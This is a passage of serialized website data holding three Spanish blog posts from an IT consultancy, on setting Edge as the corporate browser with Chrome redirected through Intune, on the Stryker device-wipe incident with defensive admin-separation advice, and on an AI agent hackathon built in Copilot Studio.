Edge gestionado garantiza que las funciones de seguridad se apliquen de forma coherente en todos los endpoints. Con integración nativa en Microsoft Defender SmartScreen, Edge protege frente a phishing, malware y otras amenazas. A través de Intune, las directivas pueden ajustarse con precisión: controlar el comportamiento, bloquear extensiones de riesgo y aplicar prácticas de navegación segura. ",[813,4682,45],{"href":50}," de glueckkanja incluye directivas de Edge actualizadas y alineadas con las líneas base de seguridad de Microsoft.",[819,4685,4687],{"id":4686},"sincronización-con-entra-id","Sincronización con Entra ID",[809,4689,825],{},[809,4691,4692],{},"Edge sincroniza de forma segura datos de usuario como favoritos, contraseñas y configuraciones entre dispositivos mediante cuentas de Entra ID. Esto es especialmente relevante en entornos de trabajo híbrido, donde los empleados cambian entre portátiles corporativos, escritorios virtuales y dispositivos móviles sin perder contexto ni productividad.",[819,4694,4696],{"id":4695},"complejidad-por-usar-varios-navegadores","Complejidad por usar varios navegadores",[809,4698,825],{},[809,4700,4701],{},"Mantener Google Chrome junto a Edge crea trabajo adicional:",[1649,4703,4704,4710],{"style":1651},[1653,4705,4706,4709],{},[1656,4707,4708],{},"Copia de seguridad y sincronización:"," Otros navegadores suelen requerir cuentas de terceros, como una cuenta de Google, para habilitar la sincronización.",[1653,4711,4712,4715],{},[1656,4713,4714],{},"Mantenimiento de directivas:"," Cada navegador necesita su propio conjunto de directivas de seguridad y configuración. Eso consume recursos, aumenta el riesgo de errores de configuración y complica las auditorías.",[819,4717,4719],{"id":4718},"redirección-de-chrome-via-intune","Redirección de Chrome via Intune",[809,4721,825],{},[809,4723,4724,4725,4727],{},"Para llevar a los usuarios de Chrome a Edge, se puede configurar una directiva de redirección mediante Microsoft Intune, disponible en minutos a través de ",[813,4726,45],{"href":50}," de glueckkanja. Los usuarios llegan a una página que presenta Microsoft Edge como el navegador corporativo predeterminado, con un enlace directo para abrirlo.",[809,4729,4730],{},[838,4731],{"alt":4732,"src":4733},"Microsoft Edge como navegador corporativo predeterminado","https://res.cloudinary.com/c4a8/image/upload/blog/pics/microsoft-edge-default-browser.png",[809,4735,4736],{},"La directiva de configuración define cómo se restringe y redirige Chrome:",[1649,4738,4739,4752,4761,4767,4773],{"style":1651},[1653,4740,4741,4744,4745,4748,4749,3448],{},[1656,4742,4743],{},"Lista de URLs permitidas:"," Solo se permiten URLs concretas, como la página de destino ",[2509,4746,4747],{},"https://edge.glueckkanja.com/"," y el moniker ",[2509,4750,4751],{},"microsoft-edge:*",[1653,4753,4754,4757,4758,4760],{},[1656,4755,4756],{},"Lista de URLs bloqueadas:"," Todas las demás URLs quedan bloqueadas (",[2509,4759,3725],{},"), lo que impide la navegación general en Chrome.",[1653,4762,4763,4766],{},[1656,4764,4765],{},"Página de inicio y nueva pestaña:"," Ambas apuntan a la página de destino, que invita a usar Edge.",[1653,4768,4769,4772],{},[1656,4770,4771],{},"Gestión de protocolos:"," Al hacer clic en URLs de la página de destino, Chrome abre Edge automáticamente.",[1653,4774,4775,4778],{},[1656,4776,4777],{},"Control de extensiones:"," Configuraciones adicionales impiden la instalación de extensiones.",[809,4780,4781,4782],{},"Ejemplo de directiva para descargar: ",[813,4783,4786],{"href":4784,"rel":4785},"https://github.com/glueckkanja/edge-redirection-landingpage/tree/main/docs/policies",[1509],"Win - Default - Google Chrome - Redirect to Edge - v2.0.json",[819,4788,4790],{"id":4789},"página-de-destino-via-github-pages","Página de destino via GitHub Pages",[809,4792,825],{},[809,4794,4795,4796],{},"La página funciona con GitHub Pages. Quien quiera adaptarla puede hacerlo directamente en el proyecto: ",[813,4797,4800],{"href":4798,"rel":4799},"https://github.com/glueckkanja/edge-redirection-landingpage",[1509],"edge-redirection-landingpage",[809,4802,4803],{},[813,4804,4809],{"role":910,"className":4805,"dataText":4806,"href":4807,"target":516,"rel":4808,"type":917},[912,913,914,915],"Ver la página de destino","https://edge.glueckkanja.com",[1663],[919,4810,4806],{"className":4811},[922],[819,4813,1633],{"id":1632},[809,4815,825],{},[809,4817,4818],{},"Microsoft Edge ofrece un entorno de navegación seguro y gestionable con integración profunda en Microsoft 365, lo que lo convierte en la elección lógica como navegador corporativo predeterminado. Las principales ventajas:",[1649,4820,4821,4824,4827,4830,4833,4836,4839,4842],{"style":1651},[1653,4822,4823],{},"Integración con Entra ID y SSO",[1653,4825,4826],{},"Sincronización y copia de seguridad en la nube mediante la cuenta de Microsoft 365 en varias plataformas",[1653,4828,4829],{},"Ecosistema de seguridad integrado con Microsoft Defender SmartScreen y Microsoft Endpoint DLP",[1653,4831,4832],{},"Compatibilidad con Intune App Protection Policies",[1653,4834,4835],{},"Gestión del navegador desde el centro de administración de Microsoft 365 e Intune",[1653,4837,4838],{},"Modo Internet Explorer para aplicaciones heredadas",[1653,4840,4841],{},"Personalización corporativa",[1653,4843,4844],{},"Integración de Copilot",[809,4846,4847],{},"Estandarizarse en Edge reduce la complejidad, refuerza la seguridad y simplifica el soporte. Ampliar el enfoque de redirección a otros navegadores es un paso siguiente que tiene sentido.",{"title":927,"searchDepth":928,"depth":928,"links":4849},[4850,4851,4852,4853,4854,4855],{"id":4674,"depth":928,"text":4675},{"id":4686,"depth":928,"text":4687},{"id":4695,"depth":928,"text":4696},{"id":4718,"depth":928,"text":4719},{"id":4789,"depth":928,"text":4790},{"id":1632,"depth":928,"text":1633},{"lang":940,"seoTitle":4857,"titleClass":942,"date":4858,"blogtitlepic":4859,"socialimg":4860,"customExcerpt":4861,"keywords":4862,"hreflang":4863,"published":511,"asideNav":4870},"Microsoft Edge como navegador corporativo seguro: seguridad, sincronización y redirección de Chrome via Intune","2026-03-21","head-microsoft-edge-default-browser.jpg","/blog/heads/head-microsoft-edge-default-browser.jpg","El navegador que nadie eligió deliberadamente es hoy el que todos tienen que gestionar. La mayoría de las empresas nunca tomaron una decisión activa por Chrome; simplemente estaba ahí, con su propia lógica de sincronización, su propia capa de cuentas, su propia superficie de directivas. Microsoft Edge es otra cosa: un navegador que se integra directamente en la infraestructura que las empresas ya tienen. Entra ID, Intune, Defender. Esta entrada muestra cómo hacer ese cambio, cómo redirigir Chrome a una página de destino mediante una directiva de Intune y qué desaparece cuando se deja de mantener dos navegadores en paralelo.","Microsoft Edge, navegador corporativo, Microsoft Intune, Entra ID, redirección de Chrome, Managed Intune, directiva de navegador, Microsoft Defender SmartScreen, navegador empresarial, gestión de navegadores, lista de bloqueo de URL, lista de URLs permitidas",[4864,4866,4868],{"lang":4,"href":4865},"/de/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":1026,"href":4867},"/en/posts/2026-03-21-microsoft-edge-corporate-browser",{"lang":940,"href":4869},"/es/posts/2026-03-21-microsoft-edge-corporate-browser",{"menuItems":4871},[4872,4874,4876,4879,4881,4883],{"href":4873,"text":4675},"#seguridad",{"href":4875,"text":4687},"#sincronización-con-entra-id",{"href":4877,"text":4878},"#complejidad-por-usar-varios-navegadores","Complejidad por varios navegadores",{"href":4880,"text":4719},"#redirección-de-chrome-via-intune",{"href":4882,"text":4790},"#página-de-destino-via-github-pages",{"href":1788,"text":1633},"/posts/2026-03-21-microsoft-edge-corporate-browser",{"title":4665,"description":4671},"posts/2026-03-21-microsoft-edge-corporate-browser","4dzPrCmYa_qBIk_LjU-Qvt9euryPlP8X7fC0e5Rif1s",{"id":4889,"title":4890,"author":4891,"body":4892,"cta":767,"description":4896,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":5136,"moment":5138,"navigation":511,"path":5195,"seo":5196,"stem":5197,"tags":5198,"webcast":752,"__hash__":5200},"content_es/posts/2026-03-20-stryker-attack-intune-privilege.md","Sin Malware. Solo una Cuenta de Administrador.",[961],{"type":806,"value":4893,"toc":5124},[4894,4897,4900,4904,4906,4909,4912,4915,4919,4921,4924,4927,4930,4933,4937,4939,4942,4945,4949,4951,4954,4957,4960,4964,4966,4969,4975,4979,4981,4986,4989,4992,4995,5001,5004,5010,5019,5023,5025,5030,5033,5042,5045,5048,5051,5054,5057,5060,5064,5066,5069,5072,5075,5083,5086,5089,5093,5095],[809,4895,4896],{},"Miércoles, 11 de marzo de 2026. Los empleados de las oficinas de Stryker en 79 países encendieron sus ordenadores y los encontraron en blanco. Pantallas de inicio de sesión reemplazadas por un logotipo. Portátiles corporativos, teléfonos de empresa, dispositivos personales inscritos en el programa BYOD de la compañía. Todos borrados simultáneamente, de madrugada. Sin ransomware. Sin firmas de malware. Nada que una herramienta de detección de endpoints pudiera capturar.",[809,4898,4899],{},"El atacante, un grupo hacktivista pro-iraní llamado Handala, había convertido la propia infraestructura de gestión de TI de Stryker en el arma.",[819,4901,4903],{"id":4902},"lo-que-realmente-ocurrió","Lo que realmente ocurrió",[809,4905,825],{},[809,4907,4908],{},"El núcleo del ataque no fue un exploit sofisticado ni una vulnerabilidad de día cero. Fue algo mucho más simple y, francamente, mucho más común: una cuenta de administrador fue comprometida, y esa cuenta tenía acceso a Microsoft Intune.",[809,4910,4911],{},"Según los informes de BleepingComputer, aproximadamente 80.000 dispositivos fueron borrados entre las 5:00 y las 8:00 UTC. Handala afirmó que el número superó los 200.000, incluyendo servidores y dispositivos móviles en las operaciones globales de la empresa en 79 países.",[809,4913,4914],{},"Sin malware personalizado. Sin binarios maliciosos que detectar. Un ataque de tipo living-off-the-land, ejecutado íntegramente a través de una consola de gestión legítima.",[819,4916,4918],{"id":4917},"por-qué-tuvo-éxito-este-ataque","Por qué tuvo éxito este ataque",[809,4920,825],{},[809,4922,4923],{},"Hay un problema estructural en la raíz de esto, y no es exclusivo de Stryker. Es endémico en las empresas.",[809,4925,4926],{},"La mayoría de las organizaciones tratan las tareas administrativas y el trabajo diario como actividades que pueden coexistir cómodamente en el mismo dispositivo, bajo la misma identidad de usuario. Un administrador de TI responde correos electrónicos, navega por la web, hace clic en algún enlace ocasional y — desde esa misma sesión, en esa misma máquina — gestiona infraestructura en la nube, aprueba cambios de acceso o, en este caso, accede a una consola de gestión de dispositivos con el poder de borrar toda la flota.",[809,4928,4929],{},"Esta es la superficie de ataque. Cuando el contexto de trabajo cotidiano y el contexto de administración privilegiada comparten un endpoint común y una identidad común, cualquier compromiso de ese endpoint es automáticamente un compromiso de todo lo que esa identidad puede alcanzar. Phishing, robo de credenciales mediante malware infostealer, robo de tokens de sesión adversary-in-the-middle (AiTM): todos se convierten en una ruta directa hacia los controles más poderosos de su entorno. No se necesita escalada de privilegios. El atacante simplemente usa lo que ya está ahí.",[809,4931,4932],{},"En el caso de Stryker, ese acceso incluía un tenant de Intune que gestionaba dispositivos en seis continentes.",[819,4934,4936],{"id":4935},"cisa-ha-visto-suficiente","CISA ha visto suficiente",[809,4938,825],{},[809,4940,4941],{},"La escala y la audacia del ataque provocaron una respuesta inusual: CISA, la Agencia de Ciberseguridad e Infraestructura de EE. UU., emitió orientaciones que abordan directamente el riesgo de las plataformas de gestión de dispositivos comprometidas. La agencia confirmó que conocía el vector de ataque e instó a las organizaciones a tomar medidas concretas, asegurando que las funciones de alto impacto de Intune, como el borrado de dispositivos, requieran la aprobación de un segundo administrador antes de ejecutarse.",[809,4943,4944],{},"Esta es una señal rara y significativa. Cuando una agencia federal de seguridad emite orientaciones específicas inmediatamente después de un incidente concreto, el mensaje es claro: esto no es un caso excepcional. Es un patrón, y otras organizaciones probablemente tienen la misma exposición.",[819,4946,4948],{"id":4947},"la-separación-no-es-un-lujo-es-el-control","La separación no es un lujo. Es el control.",[809,4950,825],{},[809,4952,4953],{},"El ataque Stryker es un caso de estudio útil precisamente porque ilustra el radio de explosión de un modelo de privilegios plano. El atacante no necesitó escalar privilegios a través de una cadena de vulnerabilidades. Obtuvo acceso a credenciales, o a un token de sesión, en un nivel y encontró que ese nivel ya era suficiente para causar un daño catastrófico, global e irreversible.",[809,4955,4956],{},"La respuesta arquitectónica a este problema tiene un nombre: el Microsoft Enterprise Access Model (EAM). Su principio central es la administración por niveles: las operaciones privilegiadas se realizan utilizando cuentas dedicadas y dispositivos dedicados, estrictamente separados del contexto de trabajo cotidiano. Este enfoque de mínimo privilegio significa que una cuenta de productividad comprometida no puede alcanzar el plano de gestión, y una cuenta de gestión comprometida no puede alcanzar las operaciones del plano de control. Esto se aplica igualmente a entornos exclusivamente en la nube y a configuraciones híbridas que incluyen conexión a Active Directory local a través de Entra ID, donde una única cuenta con exceso de privilegios puede seguir uniendo la nube y el dominio.",[809,4958,4959],{},"La idea es sencilla. El trabajo administrativo se realiza en dispositivos administrativos. La identidad utilizada para gestionar su tenant de Microsoft 365, su entorno de Intune o su infraestructura de Azure nunca es la misma identidad utilizada para leer correos electrónicos o asistir a llamadas de Teams. El dispositivo utilizado para esas sesiones administrativas está reforzado, restringido y aislado del contexto habitual de navegación por Internet y productividad que crea la exposición. El movimiento lateral se vuelve estructuralmente más difícil porque no existe ninguna ruta lateral.",[819,4961,4963],{"id":4962},"dos-capas-de-defensa","Dos capas de defensa",[809,4965,825],{},[809,4967,4968],{},"Abordar correctamente este modelo de amenaza requiere trabajar simultáneamente en dos niveles: asegurar quién puede acceder al plano de gestión y a sus credenciales, y reforzar cómo ese plano de gestión mismo está configurado y operado. No son el mismo problema, y ambos importan.",[809,4970,4971],{},[838,4972],{"alt":4973,"src":4974},"Mapeo de riesgos y productos para el escenario del ataque Stryker: Managed Red Tenant aborda los riesgos de identidad y acceso, Managed Intune aborda los riesgos de gestión de endpoints","https://res.cloudinary.com/c4a8/image/upload/v1774005366/blog/pics/stryker_risk_product_mapping.svg",[897,4976,4978],{"id":4977},"managed-red-tenant-proteger-el-contexto-administrativo","Managed Red Tenant: proteger el contexto administrativo",[809,4980,2494],{},[809,4982,4983,4984,3448],{},"La primera capa es aislar completamente el acceso privilegiado. Para eso está diseñado nuestro ",[813,4985,396],{"href":401},[809,4987,4988],{},"El Managed Red Tenant proporciona un entorno administrativo completamente aislado y basado en la nube: un tenant dedicado de Microsoft Entra («el Red Tenant») utilizado exclusivamente para operaciones privilegiadas. Las identidades administrativas residen aquí. Los dispositivos administrativos se gestionan aquí. Nada del entorno de trabajo habitual se filtra.",[809,4990,4991],{},"Para los roles más críticos — aquellos con acceso al plano de control, como los administradores globales — implementamos el enfoque «Clean Keyboard»: una Privileged Admin Workstation (PAW) física con hardware dedicado, políticas reforzadas y sin ninguna exposición al contexto de trabajo cotidiano. Para roles administrativos más amplios, ofrecemos Virtual Access Workstations (VAW) escalables construidas sobre una infraestructura reforzada de Azure Virtual Desktop dentro del Red Tenant. La propia ruta de acceso está protegida a través de Microsoft Entra Private Access, aplicando Zero Trust Network Access y políticas de acceso condicional antes de que se pueda establecer cualquier sesión.",[809,4993,4994],{},"Microsoft Entra Internet Access bloquea el acceso a internet público desde las sesiones administrativas y restringe la conectividad estrictamente a interfaces privilegiadas y entornos de tenant autorizados. La revocación de sesiones en tiempo casi real es posible a través de Universal Conditional Access Evaluation, lo que significa que una credencial revocada no persiste como sesión válida.",[809,4996,4997,4998,5000],{},"El Managed Red Tenant está supervisado 24/7 por nuestro ",[813,4999,1622],{"href":430},", con detecciones desarrolladas específicamente en torno a permisos administrativos y patrones de acceso. Un atacante que de alguna manera comprometiera una credencial en este entorno no tendría tres horas sin ser detectado para ejecutar comandos de borrado en una flota global de dispositivos.",[809,5002,5003],{},"Esto es especialmente relevante para roles como los administradores de Intune. Saben cómo proteger los clientes, pero proteger una estación de trabajo de administrador privilegiado requiere un conjunto de habilidades diferente — arquitectura de acceso empresarial, refuerzo de identidades, controles Zero Trust — que normalmente recae en el equipo de seguridad. Un Managed Red Tenant elimina esa carga por completo: los administradores de Intune obtienen una estación de trabajo gestionada profesionalmente y reforzada de forma consistente sin necesidad de convertirse en expertos en estaciones de trabajo seguras. Lo mismo se aplica a cualquier rol altamente privilegiado en la organización.",[5005,5006],"video-frame",{"thumb":5007,"alt":5008,"id":5009,":full-width":2401},"/thumbs/thumb-managed-red-tenant.jpg","Jan Geisbauer y Thomas Naunheim debaten la estrategia de ciberseguridad de Managed Red Tenant","rOEIvItNkjE",[2499,5011,5013,5014],{"style":5012},"background:var(--color-gk-light-grey); margin-top:0.5rem; padding:0.5rem 1rem; font-size:0.85rem; color:var(--color-gk-dark-blue)","Más en nuestro ",[813,5015,5018],{"href":5016,"target":516,"rel":5017},"https://www.youtube.com/playlist?list=PLPxBXiOFJRHelegu_B-uZAyz2UrOSxioL",[1663],"canal de YouTube",[897,5020,5022],{"id":5021},"managed-intune-reforzar-el-propio-plano-de-gestión","Managed Intune: reforzar el propio plano de gestión",[809,5024,2494],{},[809,5026,5027,5028,3448],{},"La segunda capa es garantizar que Intune — la herramienta que fue utilizada como arma en el ataque Stryker — esté configurada, operada y mantenida continuamente según el estándar de seguridad más alto. Para eso está nuestro servicio ",[813,5029,45],{"href":50},[809,5031,5032],{},"Uno de los hallazgos centrales de incidentes como el de Stryker es que las organizaciones a menudo heredan entornos de Intune que han crecido de forma orgánica a lo largo del tiempo: políticas apiladas sobre políticas, cambios manuales realizados a través del portal que son difíciles de auditar, y baselines de seguridad que no han seguido el ritmo de las propias recomendaciones cambiantes de Microsoft. Ese tipo de entorno es exactamente donde la deriva de configuración crea brechas explotables.",[809,5034,5035,5036,5041],{},"Microsoft ha publicado recientemente ",[813,5037,5040],{"href":5038,"rel":5039},"https://techcommunity.microsoft.com/blog/intunecustomersuccess/best-practices-for-securing-microsoft-intune/4502117",[1509],"mejores prácticas para proteger Microsoft Intune"," — una señal oportuna de que incluso Microsoft considera que el refuerzo de Intune es un tema que necesita atención explícita en toda la industria. Nuestro servicio Managed Intune está construido exactamente sobre estos principios, y hemos implementado las recomendaciones de Microsoft como parte de nuestra baseline.",[809,5043,5044],{},"Nuestro servicio Managed Intune se basa en la glueckkanja Intune Foundation: un conjunto probado y mantenido continuamente de mejores prácticas para la gestión de dispositivos, entregado íntegramente como código utilizando Terraform y nuestro propio TerraProvider. Cada cambio está automatizado, con control de versiones y es auditable. No existen configuraciones no documentadas de tipo «hacer clic en el portal» que un atacante pueda explotar al comprender la brecha entre lo que se pretendía y lo que se configuró.",[809,5046,5047],{},"Desde una perspectiva de seguridad, esto significa que las configuraciones de Zero Trust, las App Protection Policies y la seguridad de endpoints se aplican por diseño, de forma consistente, en Windows, macOS, iOS y Android: no como implementaciones únicas, sino como baselines evergreen aplicadas continuamente que siguen la evolución de las propias guías de seguridad de Microsoft.",[809,5049,5050],{},"Fundamentalmente, Managed Intune refleja la madurez operativa necesaria para proteger la gestión moderna de endpoints: monitorización continua del cumplimiento, gobierno estructurado de cambios y revisiones periódicas del servicio — no como extras opcionales, sino como operaciones de baseline. Pero proteger la configuración de Intune es solo la mitad del problema. Si el administrador que accede a la consola lo hace desde un dispositivo desprotegido, el plano de gestión sigue expuesto, independientemente — y es exactamente ahí donde el Managed Red Tenant completa el modelo.",[809,5052,5053],{},"Dado que todas las configuraciones se despliegan como código basado en la Intune Foundation, aplicamos un estricto principio de cuatro ojos con revisión por pares, validación automatizada adicional y pipelines de despliegue controlados. Esto elimina los cambios no gestionados en el portal dentro de la Intune Foundation y garantiza una baseline consistente, auditable y segura en todos los dispositivos.",[809,5055,5056],{},"El acceso administrativo se rige por un modelo de mínimo privilegio utilizando GDAP y Azure Lighthouse, con responsabilidades claramente definidas y acceso estrictamente delimitado al tenant del cliente. Esto reduce significativamente la superficie de ataque asociada con las operaciones privilegiadas.",[809,5058,5059],{},"Las acciones a nivel de dispositivo, incluidas las operaciones destructivas, siguen siendo responsabilidad del cliente, ya que su ejecución está estrechamente vinculada a los procesos específicos de la organización y a los marcos de gobernanza interna. Microsoft y CISA recomiendan proteger dichas acciones mediante salvaguardas adicionales, como los controles de aprobación de múltiples administradores dentro de Intune.",[819,5061,5063],{"id":5062},"la-pregunta-incómoda","La pregunta incómoda",[809,5065,825],{},[809,5067,5068],{},"El ataque Stryker no es una acusación contra Microsoft Intune. Intune se comportó exactamente como fue diseñado. Ejecutó los comandos que recibió de un administrador autenticado. El fallo no estaba en la herramienta. Estaba en la ausencia de controles sobre quién podía acceder a esa herramienta, desde qué contexto y con qué nivel de autorización.",[809,5070,5071],{},"Es un problema de gobernanza y arquitectura. Y es el mismo problema que existe en la mayoría de las organizaciones que ejecutan Microsoft 365 hoy en día.",[809,5073,5074],{},"Si sus administradores acceden a Intune, Entra ID o Azure desde los mismos dispositivos e identidades que utilizan para el trabajo diario — y si su entorno de Intune ha crecido a través de años de cambios manuales en el portal en lugar de un modelo operativo estructurado y automatizado — está cargando con el mismo riesgo estructural que cargaba Stryker el 10 de marzo. La pregunta es si un adversario encontrará esa exposición antes de que usted la aborde.",[809,5076,5077,5079,5080,5082],{},[813,5078,396],{"href":401}," aborda la capa de privilegios e identidad. ",[813,5081,45],{"href":50}," aborda la capa de configuración y operaciones. Juntos, cierran las dos brechas que hicieron posible el ataque Stryker.",[809,5084,5085],{},"Si quiere entender cómo cualquiera de los servicios se aplica a su entorno actual, o dónde están sus puntos de exposición específicos, estaremos encantados de analizarlo con usted.",[809,5087,5088],{},"También publicaremos en breve un artículo detallado que examina cómo fue posible que ocurriera el incidente Stryker en primer lugar.",[819,5090,5092],{"id":5091},"más-información","Más información",[809,5094,825],{},[1649,5096,5097,5104,5110,5117],{},[1653,5098,5099],{},[813,5100,5103],{"href":5101,"rel":5102},"https://www.cisa.gov/secure-cloud-business-applications",[1509],"CISA: Securing Cloud Business Applications",[1653,5105,5106],{},[813,5107,5109],{"href":5038,"rel":5108},[1509],"Microsoft: Mejores prácticas para proteger Microsoft Intune",[1653,5111,5112],{},[813,5113,5116],{"href":5114,"rel":5115},"https://techcrunch.com/2026/03/19/cisa-urges-companies-to-secure-microsoft-intune-systems-after-hackers-mass-wipe-stryker-devices/?utm_campaign=social",[1509],"TechCrunch: CISA insta a las empresas a proteger los sistemas Microsoft Intune tras el borrado masivo de dispositivos Stryker por parte de hackers",[1653,5118,5119],{},[813,5120,5123],{"href":5121,"rel":5122},"https://marketplace.microsoft.com/de-de/product/saas/glueckkanja-gabag.redtenant?tab=overview",[1509],"Managed Red Tenant en Azure Marketplace",{"title":927,"searchDepth":928,"depth":928,"links":5125},[5126,5127,5128,5129,5130,5134,5135],{"id":4902,"depth":928,"text":4903},{"id":4917,"depth":928,"text":4918},{"id":4935,"depth":928,"text":4936},{"id":4947,"depth":928,"text":4948},{"id":4962,"depth":928,"text":4963,"children":5131},[5132,5133],{"id":4977,"depth":935,"text":4978},{"id":5021,"depth":935,"text":5022},{"id":5062,"depth":928,"text":5063},{"id":5091,"depth":928,"text":5092},{"lang":940,"seoTitle":5137,"titleClass":942,"date":5138,"categories":5139,"blogtitlepic":5140,"socialimg":5141,"customExcerpt":5142,"keywords":5143,"hreflang":5144,"asideNav":5151,"contactInContent":5166,"maxContent":752,"published":511},"El Ataque Stryker: Cómo una Cuenta de Administrador Comprometida Borró 80.000 Dispositivos a través de Intune","2026-03-20",[373],"head-stryker.jpg","/blog/heads/head-stryker.jpg","El 11 de marzo de 2026, Handala borró dispositivos en 79 países utilizando únicamente una cuenta de administrador de Intune comprometida. Sin malware, sin exploit, solo herramientas legítimas de gestión convertidas en un arma. Esto es lo que sucedió, por qué funcionó y cómo se pueden cerrar las dos brechas arquitectónicas que lo hicieron posible.","ataque Stryker, Handala, Microsoft Intune wipe, gestión de acceso privilegiado, estación de trabajo de administrador, Managed Red Tenant, Managed Intune, Zero Trust, Privileged Admin Workstation, PAW, Enterprise Access Model, CISA, seguridad de gestión de endpoints",[5145,5147,5149],{"lang":4,"href":5146},"/de/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":940,"href":5148},"/es/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":1026,"href":5150},"/en/posts/2026-03-20-stryker-attack-intune-privilege",{"menuItems":5152},[5153,5155,5157,5159,5162,5164],{"href":5154,"text":4903},"#lo-que-realmente-ocurrio",{"href":5156,"text":4918},"#por-que-tuvo-exito-este-ataque",{"href":5158,"text":4936},"#cisa-ha-visto-suficiente",{"href":5160,"text":5161},"#la-separacion-no-es-un-lujo-es-el-control","La separación no es un lujo",{"href":5163,"text":4963},"#dos-capas-de-defensa",{"href":5165,"text":5063},"#la-pregunta-incomoda",{"quote":511,"infos":5167},{"bgColor":952,"headline":5168,"subline":5169,"level":819,"textStyling":956,"flush":957,"person":5170,"form":5172},"Contáctenos","¿Quiere saber cómo Managed Red Tenant y Managed Intune cierran las brechas que explotó el ataque Stryker? Rellene el formulario y le explicaremos cómo se aplica a su entorno.",{"image":1896,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":5171},"El ataque Stryker es una llamada de atención para todas las organizaciones que utilizan Microsoft Intune. La herramienta hizo exactamente lo que se le indicó. El problema fue que nadie debería haber podido indicárselo: no desde una cuenta cotidiana comprometida, no sin una segunda aprobación, no sin un entorno administrativo aislado. Esa es la brecha que ayudamos a cerrar.",{"ctaText":976,"cta":5173,"method":938,"action":979,"fields":5174},{"skin":978},[5175,5176,5178,5180,5182,5185,5188,5189,5190,5192,5193,5194],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":5177},"Por favor, introduzca su nombre.",{"label":991,"type":987,"id":615,"required":511,"requiredMsg":5179},"Por favor, introduzca su empresa.",{"label":994,"type":995,"id":995,"required":511,"requiredMsg":5181},"Por favor, introduzca su dirección de correo electrónico.",{"label":5183,"type":999,"id":1000,"required":752,"requiredMsg":5184},"Su mensaje para nosotros","Por favor, introduzca un mensaje.",{"label":5186,"type":1004,"id":1005,"required":511,"requiredMsg":5187},"Sus datos serán almacenados y utilizados para responder a su solicitud. Para más información, consulte nuestra \u003Ca href=\"/es/privacy\">Política de privacidad\u003C/a>.","Por favor, confirme",{"type":982,"id":1008,"value":373},{"type":982,"id":1010,"value":2337},{"type":982,"id":1013,"value":5191},"Form: Blog Stryker Attack Intune Privilege | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},"/posts/2026-03-20-stryker-attack-intune-privilege",{"title":4890,"description":4896},"posts/2026-03-20-stryker-attack-intune-privilege",[103,5199,1795],"Privileged Access","6hSXniyDoDaPpFRn4tTUayccfvT52dXktrv0Ek-K0sM",{"id":5202,"title":5203,"author":5204,"body":5205,"cta":767,"description":5209,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":5241,"moment":5243,"navigation":511,"path":5256,"seo":5257,"stem":5258,"tags":5259,"webcast":752,"__hash__":5263},"content_es/posts/2026-03-16-ai-agent-hackathon.md","Seis agentes. Cuatro semanas. Producción real.",[804],{"type":806,"value":5206,"toc":5239},[5207,5210,5213,5216,5219,5222,5227,5230,5233,5236],[809,5208,5209],{},"¿Cuántas horas dedica tu departamento de TI cada semana a tareas que un agente podría resolver en minutos?",[809,5211,5212],{},"Existe un tipo de proceso que casi todos los departamentos de TI conocen: alguien lee contratos. Alguien más clasifica requisitos en categorías. Otra persona responde las mismas preguntas sobre entregas que ya respondió ayer. No son problemas glamorosos. Pero son los que en conjunto cuestan decenas de miles de horas al año — y son sorprendentemente adecuados para los agentes de IA, si sabes dónde aplicar la palanca.",[809,5214,5215],{},"Seis empresas hicieron exactamente eso en febrero en nuestras oficinas de Offenbach. Kiekert ahora categoriza los requisitos de I+D mediante lógica basada en reglas, con una puntuación de confianza y un bucle de retroalimentación. El agente ya está en producción. Dr. Oetker construyó un Contract Review Assistant que revisa contratos de TI en busca de cláusulas críticas y genera un informe estructurado para compras y legal. Eckes-Granini presentó dos agentes: un agente de incorporación que guía a los nuevos empleados desde su primer inicio de sesión a través de MFA, configuración de Office y políticas de seguridad, y un agente de logística que responde preguntas de los operadores sobre envíos, tarifas y transportistas. igefa desarrolló un agente de asistencia telefónica por voz para el soporte de TI interno, conectado a JIRA y Confluence. Y lila logistik trajo quizás el proyecto más inusual: un generador de casos de uso que observa SharePoint y Exchange para identificar potencial de automatización — porque el problema real a menudo no es la tecnología, sino que nadie en la empresa identifica los lugares adecuados para automatizar.",[809,5217,5218],{},"Todo esto se desarrolló en Copilot Studio, con Agent Flows, conexiones a Dataverse y conectores MCP, con el acompañamiento de cuatro de nuestros MVPs. Cuatro semanas de desarrollo junto al trabajo habitual del día a día. Los participantes tuvieron que encontrar cada hora para ello entre tickets, cierres trimestrales y operaciones. Que al final existieran seis agentes funcionales dice menos sobre la tecnología que sobre los equipos que los construyeron.",[809,5220,5221],{},"El 10 de marzo en el Microsoft Office de Fráncfort llegó la prueba final: seis presentaciones de 20 minutos cada una, evaluadas por impacto en el negocio, profundidad técnica y los aplausos del público (sí, eso también está en la hoja de evaluación). Kiekert ganó porque su agente está en producción, construido por alguien del área de negocio, sin experiencia en TI ni en Copilot Studio. Dr. Oetker, porque la revisión de contratos es tan universal que el jurado empezó a pensar en sus propios contratos de TI después. Que los seis equipos hayan construido un agente funcional en cuatro semanas junto a su trabajo habitual fue, en definitiva, la verdadera noticia del día.",[5005,5223],{"thumb":5224,"alt":5225,"id":5226,":full-width":2401},"/thumbs/thumb-ai-agent-hackathon.jpg","Presentación del glueckkanja AI Agent Hackathon en la oficina de Microsoft en Fráncfort: seis equipos muestran sus agentes de Copilot Studio ante el público.","GjumQAnKj8k",[2499,5228,5229],{"style":5012},"glueckkanja AI Agent Hackathon – Seis empresas, seis agentes, cuatro semanas",[809,5231,5232],{},"El formato se llama glueckkanja AI Agent Hackathon. Surgió de un hackathon de Microsoft en Múnich en el que participamos con Knorr-Bremse. Microsoft nos pidió después continuar el formato con nuestros clientes. La idea es sencilla: las empresas se inscriben con un proceso concreto que hoy se realiza de forma manual. Nosotros refinamos el caso de uso, definimos la arquitectura y construimos juntos. Para quienes no estén listos para participar directamente en el hackathon: también ofrecemos talleres para identificar casos de uso y preparar la arquitectura del agente — ya sea como punto de entrada o como formato independiente.",[809,5234,5235],{},"El próximo glueckkanja AI Agent Hackathon comienza en otoño de 